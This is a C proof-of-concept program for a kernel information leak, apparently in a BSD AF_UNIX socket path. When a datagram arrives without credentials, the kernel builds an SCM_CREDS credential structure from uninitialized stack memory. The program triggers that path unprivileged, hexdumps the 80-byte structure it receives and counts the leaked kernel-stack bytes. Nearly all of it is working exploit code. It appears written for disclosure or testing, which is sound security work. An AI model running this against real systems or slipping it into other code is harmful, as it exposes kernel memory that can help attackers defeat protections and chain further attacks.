/*
 * DF-2557 - SO_PASSCRED SCM_CREDS synthesis uninitialized-stack info leak.
 *
 * When an AF_UNIX SOCK_DGRAM receiver has SO_PASSCRED set and the sender
 * sends a datagram with NO SCM_CREDS ancillary data, uipc_send synthesizes
 * one from an uninitialized on-stack `struct cmsgcred cred`
 * (sys/kern/uipc_usrreq.c:683).  sbcreatecontrol() copies the whole 80-byte
 * struct into the mbuf, then unp_internalize() only fills pid/uid/euid/gid/
 * ngroups/groups[0..ngroups-1].  The remaining bytes (2 bytes of padding
 * after the short ngroups + groups[ngroups..CMGROUP_MAX-1]) retain whatever
 * was on the kernel stack and are delivered verbatim to the receiver.
 *
 * This PoC: socketpair -> set SO_PASSCRED on receiver -> send plain data
 * (no SCM_CREDS) -> recvmsg with a control buffer -> hexdump the 80-byte
 * cmsgcred and count non-zero bytes in the region that should be zero
 * (everything past groups[ngroups-1] including the 2-byte padding).
 *
 * Build: cc -O2 -o leak_cmsgcred leak_cmsgcred.c
 * Run:   ./leak_cmsgcred            (unprivileged)
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#ifndef CMGROUP_MAX
#define CMGROUP_MAX 16
#endif

static void
hexdump(const char *label, const unsigned char *p, int n)
{
	int i;
	printf("%s (%d bytes):\n    ", label, n);
	for (i = 0; i < n; i++) {
		printf("%02x", p[i]);
		if ((i & 0x1f) == 0x1f)
			printf("\n    ");
		else if ((i & 3) == 3)
			printf(" ");
	}
	printf("\n");
}

int
main(int argc, char **argv)
{
	int sv[2];
	int on = 1, r, i, iter, niter = 3;
	struct msghdr msg;
	struct iovec iov;
	char databuf[8] = { 'h', 'i', 0 };
	char cbuf[CMSG_SPACE(sizeof(struct cmsgcred)) + 32];
	struct cmsghdr *cm;
	struct cmsgcred *cc;
	ssize_t n;

	if (argc > 1)
		niter = atoi(argv[1]);

	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) {
		perror("socketpair");
		return 2;
	}
	if (setsockopt(sv[1], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)) < 0) {
		perror("setsockopt SO_PASSCRED");
		return 2;
	}

	/* confirm SO_PASSCRED was accepted */
	int got = 0; socklen_t gl = sizeof(got);
	if (getsockopt(sv[1], SOL_SOCKET, SO_PASSCRED, &got, &gl) == 0)
		printf("[*] receiver SO_PASSCRED = %d (sizeof(struct cmsgcred)=%zu)\n",
		    got, sizeof(struct cmsgcred));

	int total_leak = 0;
	int total_max  = 0;

	for (iter = 0; iter < niter; iter++) {
		/* send a plain datagram (no SCM_CREDS) from sv[0] */
		if (send(sv[0], databuf, sizeof(databuf), 0) < 0) {
			perror("send");
			return 2;
		}

		/* receive on sv[1] with a control-message buffer */
		memset(&msg, 0, sizeof(msg));
		iov.iov_base = databuf;
		iov.iov_len  = sizeof(databuf);
		msg.msg_iov    = &iov;
		msg.msg_iovlen = 1;
		msg.msg_control    = cbuf;
		msg.msg_controllen = sizeof(cbuf);

		n = recvmsg(sv[1], &msg, 0);
		if (n < 0) {
			perror("recvmsg");
			return 2;
		}
		printf("\n=== sample %d: data bytes=%zd, controllen=%zu ===\n",
		    iter, n, (size_t)msg.msg_controllen);

		cm = NULL;
		for (cm = CMSG_FIRSTHDR(&msg); cm; cm = CMSG_NXTHDR(&msg, cm)) {
			if (cm->cmsg_level == SOL_SOCKET && cm->cmsg_type == SCM_CREDS)
				break;
		}
		if (!cm) {
			printf("[!] no SCM_CREDS control message received\n");
			continue;
		}
		cc = (struct cmsgcred *)CMSG_DATA(cm);
		printf("    pid=%d uid=%d euid=%d gid=%d ngroups=%d\n",
		    cc->cmcred_pid, cc->cmcred_uid, cc->cmcred_euid,
		    cc->cmcred_gid, cc->cmcred_ngroups);

		/* Hexdump the full struct. */
		hexdump("full 80-byte cmsgcred (as received)",
		    (const unsigned char *)cc, sizeof(*cc));

		/*
		 * Compute the "should be zero" tail: 2 bytes of padding after
		 * the short ngroups + groups[ngroups..CMGROUP_MAX-1].  Locate
		 * them by offset in the struct so the count is robust to any
		 * compiler reordering (there shouldn't be any on x86_64).
		 */
		unsigned char *base = (unsigned char *)cc;
		size_t off_ngroups = (size_t)((unsigned char *)&cc->cmcred_ngroups -
		    base);
		size_t off_groups  = (size_t)((unsigned char *)&cc->cmcred_groups[0] -
		    base);
		size_t pad_lo = off_ngroups + sizeof(short); /* 2 bytes after short */
		size_t pad_hi = off_groups;                  /* up to groups array */
		size_t grp_lo = off_groups +
		    (size_t)cc->cmcred_ngroups * sizeof(gid_t);
		size_t grp_hi = off_groups + sizeof(cc->cmcred_groups);

		int leaked = 0;
		printf("    padding bytes [%zu..%zu): ", pad_lo, pad_hi);
		for (i = (int)pad_lo; i < (int)pad_hi; i++) {
			printf("%02x", base[i]);
			if (base[i]) leaked++;
		}
		printf("\n");
		printf("    tail groups[%d..%d) [%zu..%zu) non-zero bytes: ",
		    cc->cmcred_ngroups, CMGROUP_MAX, grp_lo, grp_hi);
		int grp_nz = 0;
		for (i = (int)grp_lo; i < (int)grp_hi; i++)
			if (base[i]) grp_nz++;
		printf("%d\n", grp_nz);

		int max_leak = (int)((pad_hi - pad_lo) + (grp_hi - grp_lo));
		printf("    >>> sample %d leaked-non-zero-bytes = %d / %d possible\n",
		    iter, leaked + grp_nz, max_leak);
		total_leak += leaked + grp_nz;
		total_max  += max_leak;
	}

	printf("\n==== SUMMARY over %d samples: %d leaked non-zero bytes (of %d possible) ====\n",
	    niter, total_leak, total_max);

	if (total_leak > 0) {
		printf("result: LEAK CONFIRMED (kernel-stack residue in synthesized SCM_CREDS)\n");
		return 0;
	} else {
		printf("result: NO LEAK (struct is fully zeroed - bug not present)\n");
		return 1;
	}
}
